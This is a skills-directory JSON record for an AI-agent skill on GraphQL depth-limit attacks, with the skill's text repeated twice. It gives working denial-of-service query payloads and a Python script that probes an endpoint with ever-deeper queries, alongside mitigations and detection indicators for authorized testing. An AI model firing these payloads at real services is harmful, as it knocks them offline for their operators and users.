[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7360QXSC5EE2TY3V0JM7ZMW":3,"skill-same:01M7360QXSC5EE2TY3V0JM7ZMW":89},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":49,"commitSha":50,"skillDirectory":51,"forksCount":52,"repositoryHtmlUrl":53,"repositoryHomepageUrl":54,"ownerHtmlUrl":55,"ownerBlogUrl":56,"ownerDescription":57,"updatedAt":58,"install":59,"resources":72},"01M7360QXSC5EE2TY3V0JM7ZMW","performing-graphql-depth-limit-attack",null,"Execute and test GraphQL depth limit attacks using deeply nested recursive queries to identify denial-of-service vulnerabilities in GraphQL APIs.","Horonomos-laps\u002FYana-AI","Horonomos-laps","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F355299122?v=4","01M76B3QPXE88ET2SQPDPVATZT"," Horonomos-laps","01M72ZQRJPCYPSSWT4D00VJR2A",13,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-graphql-depth-limit-attack\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-graphql-depth-limit-attack\u002FSKILL.md",[],[],"2026-11-11 15:11:14",false,"---\nname: performing-graphql-depth-limit-attack\ndescription: Execute and test GraphQL depth limit attacks using deeply nested recursive\n  queries to identify denial-of-service vulnerabilities in GraphQL APIs.\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- graphql\n- depth-limit\n- denial-of-service\n- nested-queries\n- api-security\n- query-complexity\n- resource-exhaustion\n- penetration-testing\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1552.001\nsource: https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\nsource_commit: 04450304b12645cb2b974ab96d28c0664758a88d\nnote: \"Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics\u002Fthreat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.\"\n---\n\n# Performing GraphQL Depth Limit Attack\n\n## Overview\n\nGraphQL depth limit attacks exploit the recursive nature of GraphQL schemas to craft deeply nested queries that consume excessive server resources, leading to denial of service. Unlike REST APIs with fixed endpoints, GraphQL allows clients to request arbitrary data structures. When schemas contain circular relationships (e.g., User -> Posts -> Author -> Posts), attackers can create queries that recurse indefinitely, overwhelming the server's CPU, memory, database connections, and network bandwidth.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing graphql depth limit attack\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Target GraphQL API endpoint with introspection enabled or known schema\n- GraphQL client tools (GraphiQL, Altair, Insomnia, or curl)\n- Python 3.8+ with requests library for automated testing\n- Burp Suite or mitmproxy for traffic analysis\n- Authorization to perform security testing on the target\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Core Attack Techniques\n\n### 1. Recursive Depth Attack\n\nWhen a GraphQL schema has bidirectional relationships, queries can reference them recursively:\n\n```graphql\n# Schema with circular reference:\n# type User { posts: [Post] }\n# type Post { author: User }\n\n# Attack query with excessive nesting depth\nquery DepthAttack {\n  users {\n    posts {\n      author {\n        posts {\n          author {\n            posts {\n              author {\n                posts {\n                  author {\n                    posts {\n                      author {\n                        posts {\n                          title\n                          author {\n                            name\n                          }\n                        }\n                      }\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n### 2. Alias-Based Amplification\n\nWhen batch queries are blocked, aliases can multiply the same field request within a single query:\n\n```graphql\nquery AliasAmplification {\n  a1: user(id: 1) { posts { author { name } } }\n  a2: user(id: 1) { posts { author { name } } }\n  a3: user(id: 1) { posts { author { name } } }\n  a4: user(id: 1) { posts { author { name } } }\n  a5: user(id: 1) { posts { author { name } } }\n  a6: user(id: 1) { posts { author { name } } }\n  a7: user(id: 1) { posts { author { name } } }\n  a8: user(id: 1) { posts { author { name } } }\n  a9: user(id: 1) { posts { author { name } } }\n  a10: user(id: 1) { posts { author { name } } }\n}\n```\n\n### 3. Fragment Spread Attack\n\nFragments can be used to construct complex, deeply nested queries more efficiently:\n\n```graphql\nfragment UserFields on User {\n  name\n  email\n  posts {\n    title\n    comments {\n      body\n      author {\n        ...NestedUser\n      }\n    }\n  }\n}\n\nfragment NestedUser on User {\n  name\n  posts {\n    title\n    author {\n      name\n      posts {\n        title\n        author {\n          name\n        }\n      }\n    }\n  }\n}\n\nquery FragmentAttack {\n  users {\n    ...UserFields\n  }\n}\n```\n\n### 4. Field Duplication Attack\n\nRepeating the same field multiple times within a selection set increases processing:\n\n```graphql\nquery FieldDuplication {\n  user(id: 1) {\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n  }\n}\n```\n\n### 5. Batch Query Attack\n\nSending multiple queries in a single HTTP request:\n\n```json\n[\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"}\n]\n```\n\n## Automated Testing Script\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"GraphQL Depth Limit Attack Testing Tool\n\nTests GraphQL endpoints for depth limiting vulnerabilities\nby sending progressively deeper nested queries.\n\"\"\"\n\nimport requests\nimport time\nimport json\nimport sys\nfrom typing import Optional\n\nclass GraphQLDepthTester:\n    def __init__(self, endpoint: str, headers: Optional[dict] = None):\n        self.endpoint = endpoint\n        self.headers = headers or {\"Content-Type\": \"application\u002Fjson\"}\n        self.results = []\n\n    def generate_nested_query(self, depth: int, field_a: str = \"posts\",\n                               field_b: str = \"author\",\n                               leaf_field: str = \"name\") -> str:\n        \"\"\"Generate a recursively nested GraphQL query to a specified depth.\"\"\"\n        query = \"{ users { \"\n        for i in range(depth):\n            if i % 2 == 0:\n                query += f\"{field_a} {{ \"\n            else:\n                query += f\"{field_b} {{ \"\n        query += leaf_field\n        query += \" }\" * (depth + 1)  # Close all braces\n        query += \" }\"\n        return query\n\n    def generate_alias_query(self, count: int, inner_query: str) -> str:\n        \"\"\"Generate a query with multiple aliases.\"\"\"\n        aliases = []\n        for i in range(count):\n            aliases.append(f\"a{i}: {inner_query}\")\n        return \"{ \" + \" \".join(aliases) + \" }\"\n\n    def send_query(self, query: str, timeout: int = 30) -> dict:\n        \"\"\"Send a GraphQL query and measure response metrics.\"\"\"\n        payload = json.dumps({\"query\": query})\n        start_time = time.time()\n        try:\n            response = requests.post(\n                self.endpoint,\n                data=payload,\n                headers=self.headers,\n                timeout=timeout\n            )\n            elapsed = time.time() - start_time\n            return {\n                \"status_code\": response.status_code,\n                \"response_time\": round(elapsed, 3),\n                \"response_size\": len(response.content),\n                \"has_errors\": \"errors\" in response.json() if response.status_code == 200 else True,\n                \"error_message\": self._extract_error(response),\n                \"success\": response.status_code == 200 and \"errors\" not in response.json()\n            }\n        except requests.exceptions.Timeout:\n            elapsed = time.time() - start_time\n            return {\n                \"status_code\": 0,\n                \"response_time\": round(elapsed, 3),\n                \"response_size\": 0,\n                \"has_errors\": True,\n                \"error_message\": \"Request timed out\",\n                \"success\": False\n            }\n        except requests.exceptions.ConnectionError:\n            return {\n                \"status_code\": 0,\n                \"response_time\": 0,\n                \"response_size\": 0,\n                \"has_errors\": True,\n                \"error_message\": \"Connection refused - possible DoS\",\n                \"success\": False\n            }\n\n    def _extract_error(self, response) -> str:\n        try:\n            data = response.json()\n            if \"errors\" in data:\n                return data[\"errors\"][0].get(\"message\", \"Unknown error\")\n        except (json.JSONDecodeError, IndexError, KeyError):\n            pass\n        return \"\"\n\n    def test_depth_limits(self, max_depth: int = 20):\n        \"\"\"Progressively test increasing query depths.\"\"\"\n        print(f\"Testing depth limits from 1 to {max_depth}...\")\n        print(f\"{'Depth':\u003C8}{'Status':\u003C10}{'Time(s)':\u003C12}{'Size(B)':\u003C12}{'Result'}\")\n        print(\"-\" * 65)\n\n        for depth in range(1, max_depth + 1):\n            query = self.generate_nested_query(depth)\n            result = self.send_query(query)\n            result[\"depth\"] = depth\n            self.results.append(result)\n\n            status = \"OK\" if result[\"success\"] else \"BLOCKED\"\n            print(f\"{depth:\u003C8}{result['status_code']:\u003C10}{result['response_time']:\u003C12}\"\n                  f\"{result['response_size']:\u003C12}{status}\")\n\n            if result[\"error_message\"] and \"depth\" in result[\"error_message\"].lower():\n                print(f\"\\n[+] Depth limit detected at depth {depth}\")\n                print(f\"    Error: {result['error_message']}\")\n                return depth\n\n            if result[\"status_code\"] == 0:\n                print(f\"\\n[!] Server became unresponsive at depth {depth}\")\n                return depth\n\n        print(f\"\\n[!] WARNING: No depth limit detected up to depth {max_depth}\")\n        return None\n\n    def test_alias_amplification(self, alias_counts: list = None):\n        \"\"\"Test alias-based amplification attacks.\"\"\"\n        if alias_counts is None:\n            alias_counts = [1, 5, 10, 25, 50, 100]\n\n        print(f\"\\nTesting alias amplification...\")\n        inner = 'user(id: \"1\") { posts { title } }'\n\n        for count in alias_counts:\n            query = self.generate_alias_query(count, inner)\n            result = self.send_query(query)\n            status = \"OK\" if result[\"success\"] else \"BLOCKED\"\n            print(f\"  Aliases: {count:\u003C6} Status: {result['status_code']:\u003C6} \"\n                  f\"Time: {result['response_time']:\u003C8}s  {status}\")\n\n    def generate_report(self) -> dict:\n        \"\"\"Generate a summary report of all tests.\"\"\"\n        successful = [r for r in self.results if r[\"success\"]]\n        blocked = [r for r in self.results if not r[\"success\"]]\n        max_successful_depth = max([r[\"depth\"] for r in successful], default=0)\n\n        return {\n            \"endpoint\": self.endpoint,\n            \"total_tests\": len(self.results),\n            \"successful_queries\": len(successful),\n            \"blocked_queries\": len(blocked),\n            \"max_successful_depth\": max_successful_depth,\n            \"depth_limit_enforced\": len(blocked) > 0,\n            \"vulnerability\": \"HIGH\" if max_successful_depth > 10 else\n                           \"MEDIUM\" if max_successful_depth > 5 else \"LOW\"\n        }\n\n\nif __name__ == \"__main__\":\n    endpoint = sys.argv[1] if len(sys.argv) > 1 else \"http:\u002F\u002Flocalhost:4000\u002Fgraphql\"\n    tester = GraphQLDepthTester(endpoint)\n    tester.test_depth_limits(max_depth=15)\n    tester.test_alias_amplification()\n\n    report = tester.generate_report()\n    print(f\"\\n{'='*50}\")\n    print(f\"REPORT SUMMARY\")\n    print(f\"{'='*50}\")\n    for key, value in report.items():\n        print(f\"  {key}: {value}\")\n```\n\n## Mitigation Strategies\n\n### Depth Limiting\n\n```javascript\n\u002F\u002F Using graphql-depth-limit (Node.js)\nconst depthLimit = require('graphql-depth-limit');\nconst server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  validationRules: [depthLimit(5)]\n});\n```\n\n### Query Complexity Analysis\n\n```javascript\n\u002F\u002F Using graphql-query-complexity\nconst { createComplexityRule } = require('graphql-query-complexity');\n\nconst complexityRule = createComplexityRule({\n  maximumComplexity: 1000,\n  estimators: [\n    fieldExtensionsEstimator(),\n    simpleEstimator({ defaultComplexity: 1 })\n  ],\n  onComplete: (complexity) => {\n    console.log('Query complexity:', complexity);\n  }\n});\n```\n\n### Rate Limiting and Timeout Controls\n\n```python\n# Server-side timeout configuration\nGRAPHQL_CONFIG = {\n    \"max_depth\": 5,\n    \"max_complexity\": 1000,\n    \"max_aliases\": 10,\n    \"query_timeout_seconds\": 10,\n    \"max_batch_size\": 5,\n    \"rate_limit_per_minute\": 100\n}\n```\n\n## Detection Indicators\n\n- Unusually deep or complex GraphQL queries in server logs\n- Spike in response times correlated with specific query patterns\n- High memory or CPU usage on GraphQL server processes\n- Repeated requests with incrementally increasing query complexity\n- Large response payloads from single query requests\n\n## References\n\n- OWASP GraphQL Cheat Sheet: https:\u002F\u002Fcheatsheetseries.owasp.org\u002Fcheatsheets\u002FGraphQL_Cheat_Sheet.html\n- Apollo GraphQL Security Guide: https:\u002F\u002Fwww.apollographql.com\u002Fblog\u002Fsecuring-your-graphql-api-from-malicious-queries\n- Checkmarx GraphQL Depth Exploitation: https:\u002F\u002Fcheckmarx.com\u002Fblog\u002Fexploiting-graphql-query-depth\u002F\n- GraphQL.org Security: https:\u002F\u002Fgraphql.org\u002Flearn\u002Fsecurity\u002F\n- Escape.tech Cyclic Queries: https:\u002F\u002Fescape.tech\u002Fblog\u002Fcyclic-queries-and-depth-limit\u002F\n- PortSwigger GraphQL Vulnerabilities: https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fgraphql\n","# Performing GraphQL Depth Limit Attack\n\n## Overview\n\nGraphQL depth limit attacks exploit the recursive nature of GraphQL schemas to craft deeply nested queries that consume excessive server resources, leading to denial of service. Unlike REST APIs with fixed endpoints, GraphQL allows clients to request arbitrary data structures. When schemas contain circular relationships (e.g., User -> Posts -> Author -> Posts), attackers can create queries that recurse indefinitely, overwhelming the server's CPU, memory, database connections, and network bandwidth.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing graphql depth limit attack\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Target GraphQL API endpoint with introspection enabled or known schema\n- GraphQL client tools (GraphiQL, Altair, Insomnia, or curl)\n- Python 3.8+ with requests library for automated testing\n- Burp Suite or mitmproxy for traffic analysis\n- Authorization to perform security testing on the target\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Core Attack Techniques\n\n### 1. Recursive Depth Attack\n\nWhen a GraphQL schema has bidirectional relationships, queries can reference them recursively:\n\n```graphql\n# Schema with circular reference:\n# type User { posts: [Post] }\n# type Post { author: User }\n\n# Attack query with excessive nesting depth\nquery DepthAttack {\n  users {\n    posts {\n      author {\n        posts {\n          author {\n            posts {\n              author {\n                posts {\n                  author {\n                    posts {\n                      author {\n                        posts {\n                          title\n                          author {\n                            name\n                          }\n                        }\n                      }\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n### 2. Alias-Based Amplification\n\nWhen batch queries are blocked, aliases can multiply the same field request within a single query:\n\n```graphql\nquery AliasAmplification {\n  a1: user(id: 1) { posts { author { name } } }\n  a2: user(id: 1) { posts { author { name } } }\n  a3: user(id: 1) { posts { author { name } } }\n  a4: user(id: 1) { posts { author { name } } }\n  a5: user(id: 1) { posts { author { name } } }\n  a6: user(id: 1) { posts { author { name } } }\n  a7: user(id: 1) { posts { author { name } } }\n  a8: user(id: 1) { posts { author { name } } }\n  a9: user(id: 1) { posts { author { name } } }\n  a10: user(id: 1) { posts { author { name } } }\n}\n```\n\n### 3. Fragment Spread Attack\n\nFragments can be used to construct complex, deeply nested queries more efficiently:\n\n```graphql\nfragment UserFields on User {\n  name\n  email\n  posts {\n    title\n    comments {\n      body\n      author {\n        ...NestedUser\n      }\n    }\n  }\n}\n\nfragment NestedUser on User {\n  name\n  posts {\n    title\n    author {\n      name\n      posts {\n        title\n        author {\n          name\n        }\n      }\n    }\n  }\n}\n\nquery FragmentAttack {\n  users {\n    ...UserFields\n  }\n}\n```\n\n### 4. Field Duplication Attack\n\nRepeating the same field multiple times within a selection set increases processing:\n\n```graphql\nquery FieldDuplication {\n  user(id: 1) {\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n    posts { title }\n  }\n}\n```\n\n### 5. Batch Query Attack\n\nSending multiple queries in a single HTTP request:\n\n```json\n[\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"},\n  {\"query\": \"{ users { posts { author { name } } } }\"}\n]\n```\n\n## Automated Testing Script\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"GraphQL Depth Limit Attack Testing Tool\n\nTests GraphQL endpoints for depth limiting vulnerabilities\nby sending progressively deeper nested queries.\n\"\"\"\n\nimport requests\nimport time\nimport json\nimport sys\nfrom typing import Optional\n\nclass GraphQLDepthTester:\n    def __init__(self, endpoint: str, headers: Optional[dict] = None):\n        self.endpoint = endpoint\n        self.headers = headers or {\"Content-Type\": \"application\u002Fjson\"}\n        self.results = []\n\n    def generate_nested_query(self, depth: int, field_a: str = \"posts\",\n                               field_b: str = \"author\",\n                               leaf_field: str = \"name\") -> str:\n        \"\"\"Generate a recursively nested GraphQL query to a specified depth.\"\"\"\n        query = \"{ users { \"\n        for i in range(depth):\n            if i % 2 == 0:\n                query += f\"{field_a} {{ \"\n            else:\n                query += f\"{field_b} {{ \"\n        query += leaf_field\n        query += \" }\" * (depth + 1)  # Close all braces\n        query += \" }\"\n        return query\n\n    def generate_alias_query(self, count: int, inner_query: str) -> str:\n        \"\"\"Generate a query with multiple aliases.\"\"\"\n        aliases = []\n        for i in range(count):\n            aliases.append(f\"a{i}: {inner_query}\")\n        return \"{ \" + \" \".join(aliases) + \" }\"\n\n    def send_query(self, query: str, timeout: int = 30) -> dict:\n        \"\"\"Send a GraphQL query and measure response metrics.\"\"\"\n        payload = json.dumps({\"query\": query})\n        start_time = time.time()\n        try:\n            response = requests.post(\n                self.endpoint,\n                data=payload,\n                headers=self.headers,\n                timeout=timeout\n            )\n            elapsed = time.time() - start_time\n            return {\n                \"status_code\": response.status_code,\n                \"response_time\": round(elapsed, 3),\n                \"response_size\": len(response.content),\n                \"has_errors\": \"errors\" in response.json() if response.status_code == 200 else True,\n                \"error_message\": self._extract_error(response),\n                \"success\": response.status_code == 200 and \"errors\" not in response.json()\n            }\n        except requests.exceptions.Timeout:\n            elapsed = time.time() - start_time\n            return {\n                \"status_code\": 0,\n                \"response_time\": round(elapsed, 3),\n                \"response_size\": 0,\n                \"has_errors\": True,\n                \"error_message\": \"Request timed out\",\n                \"success\": False\n            }\n        except requests.exceptions.ConnectionError:\n            return {\n                \"status_code\": 0,\n                \"response_time\": 0,\n                \"response_size\": 0,\n                \"has_errors\": True,\n                \"error_message\": \"Connection refused - possible DoS\",\n                \"success\": False\n            }\n\n    def _extract_error(self, response) -> str:\n        try:\n            data = response.json()\n            if \"errors\" in data:\n                return data[\"errors\"][0].get(\"message\", \"Unknown error\")\n        except (json.JSONDecodeError, IndexError, KeyError):\n            pass\n        return \"\"\n\n    def test_depth_limits(self, max_depth: int = 20):\n        \"\"\"Progressively test increasing query depths.\"\"\"\n        print(f\"Testing depth limits from 1 to {max_depth}...\")\n        print(f\"{'Depth':\u003C8}{'Status':\u003C10}{'Time(s)':\u003C12}{'Size(B)':\u003C12}{'Result'}\")\n        print(\"-\" * 65)\n\n        for depth in range(1, max_depth + 1):\n            query = self.generate_nested_query(depth)\n            result = self.send_query(query)\n            result[\"depth\"] = depth\n            self.results.append(result)\n\n            status = \"OK\" if result[\"success\"] else \"BLOCKED\"\n            print(f\"{depth:\u003C8}{result['status_code']:\u003C10}{result['response_time']:\u003C12}\"\n                  f\"{result['response_size']:\u003C12}{status}\")\n\n            if result[\"error_message\"] and \"depth\" in result[\"error_message\"].lower():\n                print(f\"\\n[+] Depth limit detected at depth {depth}\")\n                print(f\"    Error: {result['error_message']}\")\n                return depth\n\n            if result[\"status_code\"] == 0:\n                print(f\"\\n[!] Server became unresponsive at depth {depth}\")\n                return depth\n\n        print(f\"\\n[!] WARNING: No depth limit detected up to depth {max_depth}\")\n        return None\n\n    def test_alias_amplification(self, alias_counts: list = None):\n        \"\"\"Test alias-based amplification attacks.\"\"\"\n        if alias_counts is None:\n            alias_counts = [1, 5, 10, 25, 50, 100]\n\n        print(f\"\\nTesting alias amplification...\")\n        inner = 'user(id: \"1\") { posts { title } }'\n\n        for count in alias_counts:\n            query = self.generate_alias_query(count, inner)\n            result = self.send_query(query)\n            status = \"OK\" if result[\"success\"] else \"BLOCKED\"\n            print(f\"  Aliases: {count:\u003C6} Status: {result['status_code']:\u003C6} \"\n                  f\"Time: {result['response_time']:\u003C8}s  {status}\")\n\n    def generate_report(self) -> dict:\n        \"\"\"Generate a summary report of all tests.\"\"\"\n        successful = [r for r in self.results if r[\"success\"]]\n        blocked = [r for r in self.results if not r[\"success\"]]\n        max_successful_depth = max([r[\"depth\"] for r in successful], default=0)\n\n        return {\n            \"endpoint\": self.endpoint,\n            \"total_tests\": len(self.results),\n            \"successful_queries\": len(successful),\n            \"blocked_queries\": len(blocked),\n            \"max_successful_depth\": max_successful_depth,\n            \"depth_limit_enforced\": len(blocked) > 0,\n            \"vulnerability\": \"HIGH\" if max_successful_depth > 10 else\n                           \"MEDIUM\" if max_successful_depth > 5 else \"LOW\"\n        }\n\n\nif __name__ == \"__main__\":\n    endpoint = sys.argv[1] if len(sys.argv) > 1 else \"http:\u002F\u002Flocalhost:4000\u002Fgraphql\"\n    tester = GraphQLDepthTester(endpoint)\n    tester.test_depth_limits(max_depth=15)\n    tester.test_alias_amplification()\n\n    report = tester.generate_report()\n    print(f\"\\n{'='*50}\")\n    print(f\"REPORT SUMMARY\")\n    print(f\"{'='*50}\")\n    for key, value in report.items():\n        print(f\"  {key}: {value}\")\n```\n\n## Mitigation Strategies\n\n### Depth Limiting\n\n```javascript\n\u002F\u002F Using graphql-depth-limit (Node.js)\nconst depthLimit = require('graphql-depth-limit');\nconst server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  validationRules: [depthLimit(5)]\n});\n```\n\n### Query Complexity Analysis\n\n```javascript\n\u002F\u002F Using graphql-query-complexity\nconst { createComplexityRule } = require('graphql-query-complexity');\n\nconst complexityRule = createComplexityRule({\n  maximumComplexity: 1000,\n  estimators: [\n    fieldExtensionsEstimator(),\n    simpleEstimator({ defaultComplexity: 1 })\n  ],\n  onComplete: (complexity) => {\n    console.log('Query complexity:', complexity);\n  }\n});\n```\n\n### Rate Limiting and Timeout Controls\n\n```python\n# Server-side timeout configuration\nGRAPHQL_CONFIG = {\n    \"max_depth\": 5,\n    \"max_complexity\": 1000,\n    \"max_aliases\": 10,\n    \"query_timeout_seconds\": 10,\n    \"max_batch_size\": 5,\n    \"rate_limit_per_minute\": 100\n}\n```\n\n## Detection Indicators\n\n- Unusually deep or complex GraphQL queries in server logs\n- Spike in response times correlated with specific query patterns\n- High memory or CPU usage on GraphQL server processes\n- Repeated requests with incrementally increasing query complexity\n- Large response payloads from single query requests\n\n## References\n\n- OWASP GraphQL Cheat Sheet: https:\u002F\u002Fcheatsheetseries.owasp.org\u002Fcheatsheets\u002FGraphQL_Cheat_Sheet.html\n- Apollo GraphQL Security Guide: https:\u002F\u002Fwww.apollographql.com\u002Fblog\u002Fsecuring-your-graphql-api-from-malicious-queries\n- Checkmarx GraphQL Depth Exploitation: https:\u002F\u002Fcheckmarx.com\u002Fblog\u002Fexploiting-graphql-query-depth\u002F\n- GraphQL.org Security: https:\u002F\u002Fgraphql.org\u002Flearn\u002Fsecurity\u002F\n- Escape.tech Cyclic Queries: https:\u002F\u002Fescape.tech\u002Fblog\u002Fcyclic-queries-and-depth-limit\u002F\n- PortSwigger GraphQL Vulnerabilities: https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fgraphql\n",{"name":5,"note":25,"tags":26,"author":35,"domain":36,"source":37,"license":15,"version":38,"nist_csf":39,"subdomain":31,"description":7,"mitre_attack":44,"source_commit":48},"Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics\u002Fthreat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.",[27,28,29,30,31,32,33,34],"graphql","depth-limit","denial-of-service","nested-queries","api-security","query-complexity","resource-exhaustion","penetration-testing","mahipal","cybersecurity","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","1.0",[40,41,42,43],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[45,46,47],"T1190","T1059.007","T1552.001","04450304b12645cb2b974ab96d28c0664758a88d","main","481dcd7dd2e288b9d627a2bd017db70e64e6c6fa",".claude\u002Fskills\u002Fperforming-graphql-depth-limit-attack",2,"https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI","https:\u002F\u002Fyana.vutam.link\u002F","https:\u002F\u002Fgithub.com\u002FHoronomos-laps","https:\u002F\u002Fyana.vutam.link","An open-source governed runtime & execution environment for multi-agent AI systems.","2026-11-14 13:24:09",{"source":8,"skillName":5,"commands":60,"prompt":70,"zipAvailable":71},[61,64,67],{"tool":62,"command":63},"npx","npx skills add Horonomos-laps\u002FYana-AI --skill performing-graphql-depth-limit-attack",{"tool":65,"command":66},"bunx","bunx skills add Horonomos-laps\u002FYana-AI --skill performing-graphql-depth-limit-attack",{"tool":68,"command":69},"pnpm","pnpm dlx skills add Horonomos-laps\u002FYana-AI --skill performing-graphql-depth-limit-attack","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-graphql-depth-limit-attack\u002FSKILL.md",true,[73,77,83],{"path":74,"resourceType":74,"resourceTypeDesc":75,"sizeBytes":76,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":78,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":81,"sourceHtmlUrl":82},"references\u002Fapi-reference.md","REFERENCE","参考文档",1667,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-graphql-depth-limit-attack\u002Freferences\u002Fapi-reference.md",{"path":84,"resourceType":85,"resourceTypeDesc":86,"sizeBytes":87,"sourceHtmlUrl":88},"scripts\u002Fagent.py","SCRIPT","脚本",6969,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-graphql-depth-limit-attack\u002Fscripts\u002Fagent.py",[90,98,105,113,121,129],{"skillNo":91,"name":92,"nameZh":6,"description":93,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":94,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":20},"01M735GKET5YVYKAY62W2P5YXB","openai--sentry--sentry","Use when the user asks to inspect Sentry issues or events, summarize recent production errors, or pull basic Sentry health data via the Sentry API; perform read-only queries with the bundled script and require `SENTRY_AUTH_TOKEN`.","MIT","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fopenai--sentry--sentry\u002FSKILL.md",[],[],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":20},"01M73DCAP83T17HY7SMGK7MGFE","ito-basket-compare","Compare Itô prediction-market baskets against a user's knowledge base, portfolio notes, financial context, watchlist, or research thesis. Use for read-only basket comparison and gap analysis without investment advice or live trading.","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fito-basket-compare\u002FSKILL.md",[],[],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":109,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":20},"01M734CYEMZFDR3KH6SW0JP8TD","implementing-network-traffic-baselining","Build network traffic baselines from NetFlow\u002FIPFIX data using Python pandas for statistical analysis, z-score anomaly detection, and hourly\u002Fdaily traffic pattern 